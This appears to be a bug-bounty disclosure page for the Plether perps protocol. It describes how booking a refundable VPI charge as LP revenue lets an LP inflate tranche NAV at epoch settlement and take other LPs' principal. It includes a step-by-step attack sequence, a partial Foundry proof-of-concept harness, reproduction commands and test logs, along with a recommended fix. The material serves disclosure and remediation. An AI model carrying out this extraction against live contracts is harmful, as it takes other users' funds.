Skip to content
Business logic Audit finding Advanced

Refundable VPI open charge is booked as realised LP revenue in HousePool, so any LP can inflate tranche NAV at epoch settlement and redeem other LPs' principal

HousePool books the refundable VPI charge paid when a trader opens a skew-increasing position as realised LP revenue, while the obligation to rebate it on close is never subtracted at epoch settlement. An LP can therefore open a large position just before an epoch, settle the epoch themselves to redeem at an inflated NAV, then close and collect the rebate, taking principal from the other LPs.

YoungSyre Follow

Originally disclosed on Immunefi

Critical View original
  • Disclosed after under an hour

#97711 [SC-Critical] Refundable VPI open charge is booked as realised LP revenue in HousePool, so any LP can inflate tranche NAV at epoch settlement and redeem other LPs' principal

Submitted on Nov 2nd 2026 at 19:17:53 UTC by @YoungSyre for Audit Competition | Plether

Description

Brief/Intro

I think this one has real substance, so I want to lay it out carefully. When a trader opens a skew-increasing position they pay a VPI charge into HousePool, and when they close that same position the pool pays it straight back to them as a rebate. So for as long as the position is open that money is a liability, not income. HousePool books it as income anyway: accountedAssets += amount the moment it lands, and the hourly LP epoch settlement prices every redemption and deposit off that number. Nothing on the settlement side subtracts what the pool owes back.

I ran into this while tracing what moves accountedAssets around settleLpEpoch, and it turns into a clean, repeatable extraction because settlement and order execution are permissionless. An LP queues a redemption, opens a big skew-increasing position a couple of minutes before the epoch, settles the epoch themselves, gets paid at the inflated NAV, then closes and collects the refund. The LPs who stay behind cover it. The PoC shows the attacker ending each cycle in profit while the other Junior LP loses principal, about 0.08 % of pool depth per cycle (a cycle is roughly two hours), plus a variant where an LP takes the same transfer with zero trading just by timing a redemption around someone else's large open.

Vulnerability Details

The VPI charge for moving skew from 0 to notional S at depth D is X = 1/2 * vpiFactor * S^2 / D (CfdMath.calculateVPI). Release parameters (packages/perps/DEPLOYMENT.md): vpiFactor 0.01, maxSkewRatio 0.40, execution fee 4 bps, adverse-confidence multiplier 2,500 bps, Senior cap 40M USDG / 80 %.

1. Open: the charge becomes accounted pool assets immediately. CfdEngineSettlementSidecar.sol:446-464 collects the trade cost through clearinghouse.applyOpenCost and then calls:

Solidity
IHousePool(host.pool()).recordClaimantInflow(
    poolCashInflowAssets,
    IHousePool.ClaimantInflowKind.Revenue,
    IHousePool.ClaimantInflowCashMode.CashArrived
);

In HousePool.sol:624-651:

Solidity
if (cashMode == IHousePool.ClaimantInflowCashMode.CashArrived) {
    accountedAssets += amount;
}
if (kind == IHousePool.ClaimantInflowKind.Recapitalization) {
    _recordPendingClaimantInflow(kind, amount);
} else if (seniorPrincipal + juniorPrincipal == 0) {
    _recordPendingClaimantInflow(kind, amount);
}

The pending bucket is only used for recapitalisation or when both tranche principals are zero. In normal operation the charge is distributable pool assets atomically.

2. Settlement: NAV includes the charge and nothing subtracts the refund. HousePool.totalAssets() (HousePool.sol:426-429) is min(settlementToken.balanceOf(this), accountedAssets); both rise by X. settleLpEpoch reconciles from that number, allocates the increase to tranche principal, and uses that principal to price every redemption and deposit activation in the epoch. The terminal NAV book marks open positions' price PnL, collateral-capped, but SECURITY.md ("Exact symmetric LP NAV") says VPI, carry and fees stay outside the pre-close price book. So the refundable charge is counted and the obligation to refund it is not.

3. Close: the charge is paid back out of pool cash. CloseAccountingLib.sol:103-118 computes the close VPI delta. Closing the position that created the skew yields -X, and the lifetime clamp keeps the rebate equal to the accrued charge even if depth has fallen:

Solidity
if (state.proportionalAccrualAssets + state.vpiDeltaAssets < 0) {
    state.vpiDeltaAssets = -state.proportionalAccrualAssets;
}

CfdEnginePlanLib.sol:1036-1061 (_planCloseActionSettlement) turns the negative action net into delta.actionRebateAssets (the 4 bps close fee is netted against it). CfdEngineSettlementSidecar.sol:621-624 pays it:

Solidity
if (delta.actionRebatePaidAssets > 0) {
    IHousePool(host.pool()).payOut(address(clearinghouse), delta.actionRebatePaidAssets);
    clearinghouse.settleAssets(delta.account, int256(delta.actionRebatePaidAssets));
}

and HousePool.payOut (HousePool.sol:604-614) does accountedAssets -= amount and transfers the tokens.

4. Both legs and the settlement between them are permissionless. OrderRouter.settleLpEpoch(bytes[] pythUpdateData) (OrderRouter.sol:479-484) is external payable nonReentrant with no caller check; anyone supplies the Pyth update and pays the fee. OrderRouter.executeOrder (OrderRouter.sol:240) is open to anyone as well. The program page confirms keepers are untrusted.

Attack sequence (one cycle, Junior tranche). Attacker carol is a Junior LP with a trading account; bob is another Junior LP.

  1. carol calls TrancheVault.requestRedeem(shares) after the one-hour activation cooldown (TrancheVault.sol:38). The request lands in the next hourly epoch (LP_EPOCH_DURATION 1 hour, request cutoff 5 minutes before the epoch, TrancheVault.sol:39).
  2. Two minutes before the epoch, carol commits a LONG for 30 % of depth (cap 40 %) with about 1 % margin through OrderRouter.commitOrder(OrderRequest) and executes it herself via executeOrder. The pool books X as revenue.
  3. At the epoch, carol calls settleLpEpoch. Her redemption is priced on NAV + X and she claims it.
  4. carol closes the position (commitOrder close, executeOrder). The pool pays the rebate out of its cash.

carol paid two execution fees (one netted into the rebate) and a few seconds of carry; she received her Junior share of X on the redemption. bob received nothing and now owns a share of a pool that just paid out X.

Why this is not the documented collection-time policy. ACCOUNTING_SPEC.md accepts that an LP can time the collection of carry. Carry, fees, the frozen spread and liquidation charges are one-way: once collected they are LP income forever, so timing only shifts real income between cohorts. The VPI charge is returned to the trader who paid it. Booking it as distributable revenue lets an LP cash out a profit the pool never earned and leaves the repayment to whoever stays. The clamp comment in CloseAccountingLib shows the team modelled a trader sandwiching LPs through depth changes; the LP exiting on their own refundable charge is not handled anywhere. I checked the Cecuro, SC Audit Studio and AI-scan reports and the SECURITY.md limitation sections: SCAN-30/31 concern a trader changing the size of their own VPI charge by moving depth, SC-M3 concerns rebate-backed opens below initial margin, MED-22 is carry rounding, MED-24/29 are refund epochs and redemption rounding. None covers this.

Impact Details

Other LPs lose principal that sits at rest in HousePool; the attacker finishes each cycle with more USDG than they started with. All figures are from the attached Foundry run at the release parameters, in USDG.

Core case, Junior-only pool of 3M (carol 2M, bob 1M), one cycle at 30 % skew (test_VpiRevenuePumpsNavForRedeemer):

  • VPI booked as LP revenue at carol's open: 1,350.90
  • carol's redemption paid above fair value: +900.29
  • carol's trading cost (open fee, netted close fee, carry): -720.74
  • carol net: +179.56
  • bob, who did nothing: -539.47
  • rebate paid out of the pool at carol's close: 990.60

Variants from the same run:

  • Four back-to-back cycles (test_RepeatedCyclesDrainMinorityJunior): carol +720.08 total, bob -2,160.00 total.
  • 2 bps Pyth confidence with the 25 % adverse shift applied to both legs (test_PumpWithTypicalConfidence_2bps): carol +119.42, bob -479.37.
  • 10 bps confidence, the oracle's ceiling (test_PumpWithMaxAllowedConfidence_10bps): carol -121.14, bob still -238.98. The victim loses whether or not the attacker profits.
  • No trading at all (test_ParasiticRedeemAroundOrganicOpen): carol only times a 1M redemption around alice's 39 % open. carol +760.65 versus fair value, bob -146.07, zero trading cost.
  • Senior-heavy pool, Senior 400k + Junior 200k, carol holds half of Junior (VpiNavPumpSeniorTest): carol +39.64, bob's Junior -132.40, Senior unchanged.
  • Deposit-side mirror against an organic 39 % skew (VpiNavPumpDepositTest): carol +194.48, bob -506.74.

The per-cycle transfer is bounded by 1/2 * vpiFactor * maxSkewRatio^2 * D, about 0.08 % of depth, because the skew cap limits the pump; the attacker captures their Junior share of it and the remaining Junior LPs pay the rest. A cycle takes about two hours (one-hour cooldown plus the redemption epoch), so about twelve cycles a day are possible and a minority Junior LP loses a few percent of their stake per day without acting. The parasitic variant has no stake threshold and no trading cost: any LP who watches the order queue can harvest every large skew-increasing open.

For the active cycle, the attacker profits when their share f of the Junior tranche satisfies f >= 0.40 + 0.025 * c, with c the basket confidence in bps at the 40 % skew cap: about 42 % of Junior at a typical 1 bp FX confidence, about 65 % at the 10 bps ceiling.

Severity: the funds taken are other users' principal at rest in HousePool, taken permissionlessly through a code defect, with the attacker in profit. That matches "Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield". Under the program's feasibility rules a capital requirement is not a downgrade reason, and the attacker's only market risk is two minutes of exposure to a zero-mean six-currency basket that is hedgeable off-chain. The protocol-level adverse-confidence cost cannot be hedged and is quantified above; the attack stays profitable at typical confidence. The guardian can hold LP settlement but cannot undo a settled epoch, and no detection or response window is documented.

Recommendation: subtract the sum of max(vpiAccrued, 0) over open positions from distributable assets in the settlement snapshot, or defer recognition of VPI charges until the position closes, or route them to a non-distributable reserve (like the existing negative-VPI reserve) released to LPs only when realised. Carry has the same recognition-at-collection timing; it is not refundable so not exploitable on its own, but the fix should cover it for consistency.

References

Link to Proof of Concept

https://gist.github.com/Young-Syre/702e0857f52234cde649bbd01d22aa0b

Proof of Concept

Proof of Concept

Secret Gist with the same two files, a README and the full run log: https://gist.github.com/Young-Syre/702e0857f52234cde649bbd01d22aa0b

Two Foundry test files that run inside the repository's own test suite at the commit in scope. No in-scope contract is modified. The only mocks are the repository's MockPyth and MockSettlementToken (Pyth updates and USDG, the components the program allows to be mocked). Orders go through the production OrderRouter.commitOrder(OrderRequest) entrypoint and are executed and settled through the permissionless executeOrder and settleLpEpoch paths. The fixture uses the release parameters from packages/perps/DEPLOYMENT.md (vpiFactor 0.01, maxSkewRatio 0.40, margins 10/20/300 bps, carry 500 bps, liquidation charge 10 bps with 50 % to the keeper, execution fee 4 bps, settlement buffer 25 bps, frozen-close spread 50 bps, adverse-confidence multiplier 2,500 bps, minimum open notional 1,000 USDG, Senior cap 40M USDG and 80 %).

Steps to reproduce

Requirements: Foundry 1.5.1 (solc 0.8.35 downloads automatically).

  1. Clone the audit repository and check out the commit in scope:
Bash
git clone --recurse-submodules https://github.com/immunefi-team/audit-comp-plether.git
cd audit-comp-plether
git checkout --detach a82d4fefb02768e5b3bddcc97dee371eee24fea8
git submodule update --init --recursive
  1. Save the two files below as packages/perps/test/perps/poc/PocHarness.t.sol and packages/perps/test/perps/poc/VpiNavPump.t.sol.

  2. Run:

Bash
cd packages/perps
forge test --match-path 'test/perps/poc/VpiNavPump.t.sol' -vv \
  --skip accounting --skip differential --skip fork --skip gas --skip invariant \
  --skip matrices --skip regression --skip spec --skip AcrossDirectFunding --skip DepositFor

The --skip flags only leave unrelated test directories out of the via-IR compile so it takes about two minutes instead of about fifty; the production sources compile unchanged and the result is identical without them.

What the core test does

test_VpiRevenuePumpsNavForRedeemer (helper _pumpCycle in VpiNavPump.t.sol):

  1. Fixture: Junior pool with bob 1M and carol 2M USDG, both activated, mark at 1.00, release parameters.
  2. carol calls juniorVault.requestRedeem for all her shares; the request lands in the next hourly epoch.
  3. 120 seconds before that epoch, carol commits a LONG for 30 % of pool depth with 1 % margin and executes it as keeper. The increase in pool.accountedAssets() is the VPI booked as LP revenue.
  4. One second after the epoch starts, carol calls settleLpEpoch and claims her redemption. The test compares what she was paid with her fair value measured before step 2.
  5. carol closes the position. The drop in pool.accountedAssets() is the rebate paid out of the pool.
  6. Assertions: bob's redemption value is lower than before the cycle, and carol's redemption-above-fair plus her trading P&L is positive.

The other tests reuse the cycle: four repeated cycles, 2 bps and 10 bps Pyth confidence with the production 25 % adverse shift, a no-trade variant where carol only times a redemption around alice's organic open, a Senior-heavy pool, and the deposit-side mirror. test_CloseFeeNettedIntoRebateIsNotCreditedToTreasury is a side observation reported separately and not part of this finding's impact.

Expected output (6-decimal USDG atoms unless marked)

Ran 1 test for test/perps/poc/VpiNavPump.t.sol:VpiNavPumpSeniorTest
[PASS] test_SeniorHeavyPool_JuniorMinorityDrained() (gas: 5177427)
Logs:
  pool depth: 602000000000
  single cycle, 39% skew, senior-heavy pool
    VPI booked as LP revenue   : 457509053
    rebate paid out of the pool: 363610863
    carol redemption - fair    : 227617355
    carol trading P&L (fees)   : -187978190
    carol net                  : 39639165
    bob junior value delta     : -132395224
  bob senior value delta     : 0

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 13.91ms (6.12ms CPU time)

Ran 1 test for test/perps/poc/VpiNavPump.t.sol:VpiNavPumpDepositTest
[PASS] test_DepositActivationAtDepressedNav() (gas: 5346153)
Logs:
  bob junior value before (incl. alice's VPI revenue): 1000760947936
  rebate paid by the pool at carol's open: 761130429
  carol trading P&L (fees)   : -312788938
  carol share value - deposit: 507270383
  carol net                  : 194481445
  bob junior value delta     : -506743703

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 21.77ms (9.68ms CPU time)

Ran 6 tests for test/perps/poc/VpiNavPump.t.sol:VpiNavPumpTest
[PASS] test_CloseFeeNettedIntoRebateIsNotCreditedToTreasury() (gas: 4065640)
Logs:
  treasury credited at open (4 bps fee): 360240000
  rebate paid at close: 990049835
  close fee implied by the netting: 360240000
  treasury credited at close: 0

[PASS] test_ParasiticRedeemAroundOrganicOpen() (gas: 5030247)
Logs:
  VPI booked by alice's open                 : 2282.709010
  carol redemption - fair (carol never trades): 760.646415
  bob value delta                            : -146.068724

[PASS] test_PumpWithMaxAllowedConfidence_10bps() (gas: 5192020)
Logs:
  single cycle, 30% skew, 10 bps confidence (25% adverse shift)
    VPI booked as LP revenue   : 1350224634
    rebate paid out of the pool: 539536372
    carol redemption - fair    : 1049893709
    carol trading P&L (fees)   : -1171038202
    carol net                  : -121144493
    bob junior value delta     : -238975621

[PASS] test_PumpWithTypicalConfidence_2bps() (gas: 5192428)
Logs:
  single cycle, 30% skew, 2 bps confidence (25% adverse shift)
    VPI booked as LP revenue   : 1350764913
    rebate paid out of the pool: 900388669
    carol redemption - fair    : 930213788
    carol trading P&L (fees)   : -810798232
    carol net                  : 119415556
    bob junior value delta     : -479367328

[PASS] test_RepeatedCyclesDrainMinorityJunior() (gas: 21492080)
Logs:
  cycle 1 (30% skew)
    VPI booked as LP revenue   : 1350900000
    rebate paid out of the pool: 990601765
    carol redemption - fair    : 900293819
    carol trading P&L (fees)   : -720738235
    carol net                  : 179555584
    bob junior value delta     : -539465271
  cycle 2 (30% skew)
    VPI booked as LP revenue   : 1351037865
    rebate paid out of the pool: 990699620
    carol redemption - fair    : 900682876
    carol trading P&L (fees)   : -720818245
    carol net                  : 179864631
    bob junior value delta     : -539813967
  cycle 3 (30% skew)
    VPI booked as LP revenue   : 1351175714
    rebate paid out of the pool: 990797457
    carol redemption - fair    : 901072072
    carol trading P&L (fees)   : -720898257
    carol net                  : 180173815
    bob junior value delta     : -540162803
  cycle 4 (30% skew)
    VPI booked as LP revenue   : 1351313544
    rebate paid out of the pool: 990895275
    carol redemption - fair    : 901461410
    carol trading P&L (fees)   : -720978269
    carol net                  : 180483141
    bob junior value delta     : -540511779
  carol total net after 4 cycles: 720077171
  bob total delta after 4 cycles: -2160002411

[PASS] test_VpiRevenuePumpsNavForRedeemer() (gas: 5101872)
Logs:
  single cycle, 30% skew, carol 2/3 of junior
    VPI booked as LP revenue   : 1350900000
    rebate paid out of the pool: 990601765
    carol redemption - fair    : 900293819
    carol trading P&L (fees)   : -720738235
    carol net                  : 179555584
    bob junior value delta     : -539465271

Suite result: ok. 6 passed; 0 failed; 0 skipped; finished in 31.41ms (62.21ms CPU time)

File 1: packages/perps/test/perps/poc/PocHarness.t.sol

Solidity
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.8.35;

// PoC harness for the Plether Immunefi audit competition (pin a82d4fef).
// Self-contained full-stack fixture (Router + sidecars + Engine + Clearinghouse + HousePool + tranche vaults +
// PletherOracle on a MockPyth), production-like risk parameters (10/20 bps margins, vpiFactor 0.01, maxSkew 0.4).
// Actors: alice, carol (traders, 100k USDG margin each), bob (junior LP, 1M USDG), keeper (external keeper).
// Copy into packages/perps/test/perps/poc/ and run:  tools/poc-run.sh <file>

import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {CfdEngineAccountLens} from "@plether/perps/CfdEngineAccountLens.sol";
import {CfdEngineLens} from "@plether/perps/CfdEngineLens.sol";
import {CfdEngineProtocolLens} from "@plether/perps/CfdEngineProtocolLens.sol";
import {CfdTypes} from "@plether/perps/CfdTypes.sol";
import {HousePool} from "@plether/perps/HousePool.sol";
import {HousePoolRedemptionMathSidecar} from "@plether/perps/HousePoolRedemptionMathSidecar.sol";
import {MarginClearinghouse} from "@plether/perps/MarginClearinghouse.sol";
import {OrderV3Types} from "@plether/perps/OrderV3Types.sol";
import {PerpsPublicLens} from "@plether/perps/PerpsPublicLens.sol";
import {PletherOracle} from "@plether/perps/PletherOracle.sol";
import {TerminalNavBookV2} from "@plether/perps/TerminalNavBookV2.sol";
import {TrancheVault} from "@plether/perps/TrancheVault.sol";
import {IHousePool} from "@plether/perps/interfaces/IHousePool.sol";
import {IMarginClearinghouse} from "@plether/perps/interfaces/IMarginClearinghouse.sol";
import {IOrderRouterAccounting} from "@plether/perps/interfaces/IOrderRouterAccounting.sol";
import {IOrderRouterAdminHost} from "@plether/perps/interfaces/IOrderRouterAdminHost.sol";
import {MockPyth} from "@plether/test-utils/MockPyth.sol";
import {MockSettlementToken} from "../../utils/MockSettlementToken.sol";
import {BasePerpTest} from "../BasePerpTest.sol";

abstract contract PocBase is BasePerpTest {

    MockPyth mockPyth;
    bytes32 constant FEED_A = bytes32(uint256(1));
    bytes32 constant FEED_B = bytes32(uint256(2));
    bytes32[] feedIds;
    uint256[] weights;
    uint256[] bases;

    address alice = address(0x111);
    address bob = address(0x222);
    address carol = address(0x333);
    address keeper = address(0x444);

    uint256 internal constant ONE_LOT = 1e20; // SIZE_QUANTUM; lots * price8 = USDG atoms (1 lot = 100 USDG @ 1.00)
    /// @dev Pyth confidence (8-dec units) attached to every tick published by `_tick`; 0 by default. 10 bps of a
    ///      1.00 price is 100_000, the maximum the oracle accepts (`basketMaxConfidenceRatioBps` = 10).
    uint64 internal tickConf;
    uint256 internal constant TRADER_MARGIN = 100_000e6;

    // production-like template (docs): 10/20/300 bps margins, 5% carry, vpiFactor 0.01, maxSkew 40%, 10 bps liq charge
    function _riskParams() internal pure virtual override returns (CfdTypes.RiskParams memory) {
        return CfdTypes.RiskParams({
            vpiFactor: 0.01e18,
            maxSkewRatio: 0.4e18,
            maintMarginBps: 10,
            initMarginBps: 20,
            fadMarginBps: 300,
            baseCarryBps: 500,
            minBountyAssets: 1e6,
            bountyBps: 10,
            keeperShareBps: 5000,
            protocolShareBps: 0
        });
    }

    function _bobJunior() internal pure virtual returns (uint256) { return 1_000_000e6; }

    function _initialJuniorDeposit() internal pure override returns (uint256) { return 0; }
    function _initialJuniorSeedDeposit() internal pure override returns (uint256) { return 0; }
    function _initialSeniorSeedDeposit() internal pure override returns (uint256) { return 0; }

    function setUp() public virtual override {
        settlementToken = new MockSettlementToken();
        mockPyth = new MockPyth();
        mockPyth.setSynchronizeLegacyUniquePrices(true);

        clearinghouse = new MarginClearinghouse(address(settlementToken));
        engine = _deployEngine(_riskParams());
        _syncEngineAdmin();
        terminalNavBook = new TerminalNavBookV2(address(engine), uint32(engine.CAP_PRICE()));
        engine.setTerminalNavBook(address(terminalNavBook));
        engineAccountLens = new CfdEngineAccountLens(address(engine));
        engineLens = new CfdEngineLens(address(engine));
        engineProtocolLens = new CfdEngineProtocolLens(address(engine));
        pool = new HousePool(address(settlementToken), address(engine), address(new HousePoolRedemptionMathSidecar()));

        seniorVault = new TrancheVault(
            IERC20(address(settlementToken)), address(pool), true, "Plether Senior LP", "seniorAssets", 0, address(0)
        );
        juniorVault = new TrancheVault(
            IERC20(address(settlementToken)), address(pool), false, "Plether Junior LP", "juniorAssets", 0, address(0)
        );
        pool.setSeniorVault(address(seniorVault));
        pool.setJuniorVault(address(juniorVault));
        engine.setPool(address(pool));

        feedIds.push(FEED_A);
        feedIds.push(FEED_B);
        weights.push(0.5e18);
        weights.push(0.5e18);
        bases.push(1e8);
        bases.push(1e8);
        mockPyth.setAllPrices(feedIds, int64(100_000_000), int32(-8), block.timestamp);

        pletherOracle = new PletherOracle(
            address(engine), address(pool), address(mockPyth), feedIds, weights, bases, new bool[](2)
        );
        router = _deployLegacyOrderRouter(address(engine), address(engineLens), address(pool), address(pletherOracle));
        _syncRouterAdmin();
        engine.setOrderRouter(address(router));
        publicLens = new PerpsPublicLens(address(engineAccountLens), address(engine), address(router), address(pool));

        // Same as BasePerpTest._bypassAllTimelocks, but the single pool-config cycle installs the release Senior limits
        // (DEPLOYMENT.md / Immunefi scope tab: 40M USDG and 80 %) instead of the test-base placeholders, so no second
        // 72 h pool-config warp is needed later (a second cycle shifted setUp into the weekend and broke the frozen tests).
        clearinghouse.setEngine(address(engine));
        {
            IHousePool.PoolConfig memory poolCfg = _currentPoolConfig();
            poolCfg.maxSeniorExposureAssets = 40_000_000e6;
            poolCfg.maxSeniorShareBps = 8_000;
            pool.proposePoolConfig(poolCfg);
            vm.warp(pool.poolConfigActivationTime());
            pool.finalizePoolConfig();
            vm.warp(SETUP_TIMESTAMP);
        }
        {
            // production oracle policy (script/DeployPerpsArbitrumSepolia.s.sol): 25% adverse-confidence multiplier
            IOrderRouterAdminHost.RouterConfig memory config = _routerConfig();
            config.adverseConfidenceMultiplierBps = 2500;
            // release-Router constructor value (DEPLOYMENT.md): 1,000 USDG minimum open notional
            config.minOpenNotionalAssets = 1_000e6;
            _setRouterConfig(config);
            _skipClosedMarket();
        }

        uint256 seedAmount = 1000e6;
        settlementToken.mint(address(this), seedAmount * 2);
        settlementToken.approve(address(pool), seedAmount * 2);
        pool.initializeSeedPosition(false, seedAmount, address(this));
        pool.initializeSeedPosition(true, seedAmount, address(this));
        pool.activateTrading();

        _fundJunior(bob, _bobJunior());

        _fundTraderMargin(alice, TRADER_MARGIN);
        _fundTraderMargin(carol, TRADER_MARGIN);
        vm.deal(keeper, 10 ether);

        // fresh accepted basket + engine mark at the current time (after the LP epoch warp)
        _tick(1e8, vm.getBlockTimestamp());
        router.updateMarkPrice(_pythUpdateData());
    }

    function _fundTraderMargin(address trader, uint256 amount) internal {
        settlementToken.mint(trader, amount);
        vm.startPrank(trader);
        settlementToken.approve(address(clearinghouse), type(uint256).max);
        clearinghouse.deposit(trader, amount);
        vm.stopPrank();
        vm.deal(trader, 10 ether);
    }

    // ---- oracle / time helpers -------------------------------------------------------------------------

    function _pythUpdateData() internal pure returns (bytes[] memory data) {
        data = new bytes[](1);
        data[0] = "";
    }

    /// @dev Publish a tick for every basket feed at `publishTime` (confidence `tickConf`) and move the chain so
    ///      the tick is usable.
    function _tick(uint256 price8, uint256 publishTime) internal {
        _tickConf(price8, tickConf, publishTime);
    }

    /// @dev Same with an explicit confidence (8-dec units) to exercise adverse-confidence pricing.
    function _tickConf(uint256 price8, uint64 conf8, uint256 publishTime) internal {
        mockPyth.setAllPrices(feedIds, int64(uint64(price8)), conf8, int32(-8), publishTime);
        if (vm.getBlockTimestamp() < publishTime) {
            vm.warp(publishTime);
        }
        vm.roll(vm.getBlockNumber() + 1);
    }

    function _advance(uint256 seconds_) internal {
        vm.warp(vm.getBlockTimestamp() + seconds_);
        vm.roll(vm.getBlockNumber() + 1);
    }

    /// @dev Large timelock warps can land on the Fri 17:00 NY -> Sun 17:15 NY closure; step past it (live market only).
    function _skipClosedMarket() internal {
        while (engine.isOracleFrozen() || engine.isFadWindow()) {
            vm.warp(vm.getBlockTimestamp() + 1 hours);
        }
        vm.roll(vm.getBlockNumber() + 1);
    }

    /// @dev Refresh the engine mark at the current timestamp (permissionless Router path).
    function _refreshMark(uint256 price8) internal {
        _tick(price8, vm.getBlockTimestamp());
        uint256 fee = 

The original report as published on Immunefi, by YoungSyre. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the settlement snapshot counts the refundable VPI charge as distributable pool assets without subtracting the accrued refund owed to open positions.

Impact

Other LPs lose principal held at rest in the pool, with the attacker in profit at typical oracle confidence, though at the maximum allowed confidence the attacker's own net can turn negative while the victim still loses.

What the attacker needed

An LP position in the Junior tranche; a trading account able to open positions; ability to call settleLpEpoch and executeOrder; timing within the epoch window

The fix

The charge should be excluded from distributable assets at settlement, deferred until the position closes, or held in a non-distributable reserve released only when realised.

How it was found

  1. Request a redemption of LP shares so it lands in the next hourly epoch.
  2. Shortly before the epoch, open a large skew-increasing position and execute it, booking the VPI charge as pool revenue.
  3. At the epoch, settle the epoch yourself and claim the redemption at the inflated NAV.
  4. Close the position so the pool pays the rebate back out of its cash.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Liquidity providers put money into a pool and get shares whose value is worked out at regular intervals. When a trader opens a certain kind of trade they pay a charge, but the pool gives that charge back when the trade is closed, so it is really borrowed money rather than earnings. The pool counted it as earnings anyway, so a provider could cash out shares at a falsely high value and leave the others holding the loss.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More from Plether

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.